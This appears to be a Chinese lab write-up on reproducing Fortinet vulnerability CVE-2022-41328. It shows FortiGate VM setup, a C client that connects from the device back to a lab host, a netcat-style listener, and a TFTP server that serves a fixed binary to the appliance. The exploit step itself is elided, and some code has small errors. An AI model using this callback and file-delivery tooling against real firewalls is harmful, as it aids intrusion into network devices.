复现防火墙漏洞CVE-2022-41328

 Analysis of FG-IR-22-369 | Fortinet Blog

打开虚拟机,设置用户名和密码为admin:admin,以及设置网络为169.254.48.205

config system interface

edit port1

set mode static

set 169.254.48.205  255.255.0.0

end

execute ..

diagnose hardware lspci

于是去下载toolchain,下载musl的,编译出来的会比较小。

Socket的代码如下:

#include<stdio.h>

#include<stdlib.h>

#include<errno.h>

#include<string.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<sys/socket.h>

#include<sys/wait.h>

#define DEST_PORT 7777//目标地址端口号

#define DEST_IP "169.254.48.206"/*目标地址IP,这里设为本机*/

#define MAX_DATA 100//接收到的数据最大程度

int main(){

    int sockfd,new_fd;/*cocket句柄和接受到连接后的句柄 */

    struct sockaddr_in dest_addr;/*目标地址信息*/

    char buf[MAX_DATA];//储存接收数据

    sockfd=socket(AF_INET,SOCK_STREAM,0);/*建立socket*/

    if(sockfd==-1){

        printf("socket failed:%d",errno);

    }

    //参数意义见上面服务器端

    dest_addr.sin_family=AF_INET;

     dest_addr.sin_port=htons(DEST_PORT);

    dest_addr.sin_addr.s_addr=inet_addr(DEST_IP);

    bzero(&(dest_addr.sin_zero),8);

    if(connect(sockfd,(struct sockaddr*)&dest_addr,sizeof(struct sockaddr))==-1){//连接方法,传入句柄,目标地址和大小

        printf("connect failed:%d",errno);//失败时可以打印errno

    } else{

        printf("connect success");

        recv(sockfd,buf,MAX_DATA,0);//将接收数据打入buf,参数分别是句柄,储存处,最大长度,其他信息(设为0即可)。

        printf("Received:%s",buf);

    }

    close(sockfd);//关闭socket

    return 0;

}

}

Socket的服务端就是listen即可

import argparse

import socket

import sys

def main():

    parser = argparse.ArgumentParser(description='Python netcat')

    parser.add_argument('-l', '--listen', action='store_true', help='listen mode')

    parser.add_argument('host', nargs='?', default='localhost', help='target host')

    parser.add_argument('port', type=int, help='target port')

    args = parser.parse_args()

    if args.listen:

        # listen mode

        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        server_socket.bind((args.host, args.port))

        server_socket.listen(1)

        print(f'Listening on {args.host}:{args.port}')

        conn, addr = server_socket.accept()

        print(f'Connected by {addr[0]}:{addr[1]}')

        while True:

            data = conn.recv(1024)

            if not data:

                break

            sys.stdout.write(data.decode())

            sys.stdout.flush()

            try:

                line = input()

            except EOFError:

                break

            conn.sendall(line.encode())

    else:

        # connect mode

        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        client_socket.connect((args.host, args.port))

        

        while True:

            try:

                line = input()

            except EOFError:

                break

            

            client_socket.sendall(line.encode())

            

            data = client_socket.recv(1024)

            

            if not data:

                break

            

            sys.stdout.write(data.decode())

            sys.stdout.flush()

if __name__ == '__main__':

main()

实现的TFTP如下:

import os

import socket

import datetime

import struct

# coding=utf-8

# -*- coding: utf-8 -*-

class TFTPServer:

    _DOWNLOAD = 1

    _UPLOAD = 2

    _DATA = 3

    _ACK = 4

    _ERROR = 5

    _oACK = 6

    FILE_PATH = os.path.join(os.path.abspath('case'), 'video')

    LOCAL_FILE_PATH = os.path.join(FILE_PATH, 'local')

    def __init__(self, address: str, file_root=FILE_PATH):

        self.address = address

        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        self.server_socket.bind((address,69))

        self.file_root = file_root

        if not os.path.exists(self.file_root):

            os.makedirs(self.file_root)

        self.receive_data = None

        self.client_address = None

        self.operator_code = None

        self.progress = 0

        self.run_result = None

        self.upload_status = None

        self.upload_run_result = None

    def run(self):

        while True:

            print(u"wait client ")

            self.listen()

            print(u"operator_code", self.operator_code)

            if self.operator_code == self._DOWNLOAD:

                self.progress = 0

                self.run_result = self.download()

            elif self.operator_code == self._UPLOAD:

                self.upload_status = None

                self.upload_run_result = self.upload()

    def listen(self):

        self.receive_data, self.client_address = self.server_socket.recvfrom(1024)

        unpack_data = self.__unpack_data(self.receive_data, 2)

        print("listen data", unpack_data)

        self.operator_code = unpack_data.get('operator_code')

        CURRENT = datetime.datetime.now().strftime('%y-%m-%d %H:%M')

        print(CURRENT, "received data:", self.receive_data, "client address:", self.client_address,

              'operator_code:', self.operator_code)

    # 客户端请求下载

    def download(self):

        self.run_result = None

        self.progress = 0

        down_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        print("ask for download")

        # 打开需要下载的文件

        download_file = None

        # 下载文件的块编码

        send_frame_no = 1

        try:

            unpack_data = self.__unpack_data(self.receive_data, 2)

            if len(unpack_data.get('data', [])) == 0:

                return

            #file_path = os.path.join(self.file_root, unpack_data.get('data', [])[0])

            file_path = os.path.join(self.file_root,'a.out')

            current_send_size = 0

            open_result, download_file, file_size = self.__open_file(down_socket, file_path)

            if not open_result:

                return False

            # 发送OACK包,告诉客户端文件的大小,客户端可以显示进度

            o_ack_data = struct.pack("!H5sb%dsb" % len(str(file_size)), 6, b'tsize', 0, str(file_size).encode(), 0)

            down_socket.sendto(o_ack_data, self.client_address)

            # 传输文件

            while True:

                res_file_data = download_file.read(512)

                if send_frame_no > 65535:

                    send_frame_no = 1

                # 打包

                frame_data = struct.pack("!HH", 3, send_frame_no) + res_file_data

                current_send_size += len(res_file_data)

                self.progress = round((current_send_size / file_size) * 100, 1)

                if int(self.progress) % 10 == 0:

                    print("==send:block num", send_frame_no, 'send address', self.client_address, 'progress:', self.progress, '%=')

                self.__re_send_file(down_socket, frame_data, send_frame_no)

                if len(res_file_data) < 512:

                    print("file successful transmit!")

                    download_file.close()

                    download_file = None

                    return True

                send_frame_no += 1

        except Exception as download_error:

            print("TFTP transmit failed", download_error.__str__())

            return False

        finally:

            print("closs file")

            down_socket.close()

            # 关闭文件

            if download_file is not None:

                download_file.close()

    def __open_file(self, down_socket, file_path):

        try:

            file_size = os.path.getsize(file_path)

            download_file = open(file_path, "rb")

            return True, download_file, file_size

        except Exception as file_error:

            # 打开文件错误,向客户端发送错误的信息

            print("file not exist" % file_path, file_error.__str__())

            # 操作码 + 差错码 + 差错信息 + 块编号

            error_info = struct.pack("!HHHb", 5, 5, 5, 1)

            down_socket.sendto(error_info, self.client_address)

            return False, None, 0

    def __re_send_file(self, down_socket, frame_data, send_frame_no):

        for i in range(0, 3):

            down_socket.sendto(frame_data, self.client_address)

            # 等待client响应

            self.receive_data, self.client_address = down_socket.recvfrom(1024)

            receive_unpack = self.__unpack_data(self.receive_data, 4)

            # 收到确认码,不在重复发送, 确认的块编号和发送的一样

            if receive_unpack.get('operator_code') == self._ACK and (

                    receive_unpack.get('frame_no') == send_frame_no):

                break

            elif i == 3:

                print("link error")

                error_info = struct.pack("!HHHb", 5, 5, 5, 0)

                down_socket.sendto(error_info, self.client_address)

    # 客户端请求上传

    def upload(self):

        try:

            self.upload_run_result = None

            # 新建随机端口

            upload_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

            ack = struct.pack("!HH", self._ACK, 0)

            upload_socket.sendto(ack, self.client_address)

            operation_unpack_data = self.__unpack_data(self.receive_data, 2)

            self.upload_status = 1

            if len(operation_unpack_data.get('data', [])) == 0:

                print("TFTP:not received")

                return False

            upload_file_path = os.path.join(self.file_root, operation_unpack_data.get('data', [])[0])

            print("upload path, upload_file_path")

            return self.__save_upload_data(upload_socket, upload_file_path)

        except Exception as upload_error:

            print("TFTP:FAILED_DEPENDENCY", upload_error.__str__())

            print("failed transmit", upload_error.__str__())

            return False

    def __save_upload_data(self, upload_socket, upload_file_path):

        frame_no = 1

        open_file = None

        while True:

            self.upload_status = 2

            receive_data, receive_address = upload_socket.recvfrom(1024)

            # 数据帧

            unpack_data = self.__unpack_data(receive_data, 4)

            if unpack_data.get('operator_code') == self._DATA and unpack_data.get('frame_no') == frame_no:

                # 打开文件

                if unpack_data.get('frame_no') == 1:

                    open_file = open(upload_file_path, "ab")

                if open_file is not None:

                    open_file.write(receive_data[4:])

                # 响应

                ack = struct.pack("!HH", self._ACK, unpack_data.get('frame_no'))

                upload_socket.sendto(ack, receive_address)

                if len(receive_data) < 516:

                    open_file.close()

                    self.upload_status = 3

                    print("TFTP: finished")

                    return True

                frame_no += 1

            elif unpack_data.get('operator_code') == self._ERROR:

                print("TFTP: failed 233" + unpack_data.get('data'))

                return False

    @staticmethod

    def __unpack_data(receive_data, code_num: int = 2):

        msg = {'operator_code': -1, 'frame_no': -1, 'data': []}

        if code_num == 2:

            msg['operator_code'] = struct.unpack("!H", receive_data[:2])[0]

        else:

            operator_code, frame_no = struct.unpack("!HH", receive_data[:4])

            msg['operator_code'] = operator_code

            msg['frame_no'] = frame_no

        if len(receive_data) > code_num and msg.get('operator_code') != 3:

            unpack_data = receive_data[code_num:].decode('UTF-8', 'ignore').strip().split(b'\x00'.decode())

            unpack_data = [data for data in unpack_data if data != '']

            msg['data'] = unpack_data

        return msg

    def kill_process(self, port):

        try:

            with os.popen("netstat -nao|findstr " + str(port)) as res:

                res = res.read().split('\n')

            pid = ''

            for line in res:

                if line.find(':%s ' % port) == -1:

                    continue

                temp = [i for i in line.split(' ') if self._is_number(i)]

                if len(temp) == 1:

                    pid = temp[0]

                    break

            print("kill:pid:", pid)

            if pid != '':

                os.popen('taskkill /pid ' + str(pid) + ' /F')

        except Exception as error:

            print("fail close port" + error.__str__())

            

from threading import Thread

if __name__ == "__main__":

    

    file_path = 'C:\\Users\\zzq\\Desktop\\test'

    address = '169.254.48.206'

    # 开始监听69串口,启用tftp服务

    t = Thread(target=TFTPServer(address,file_path).run)

    t.start()

    t.join(1)

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值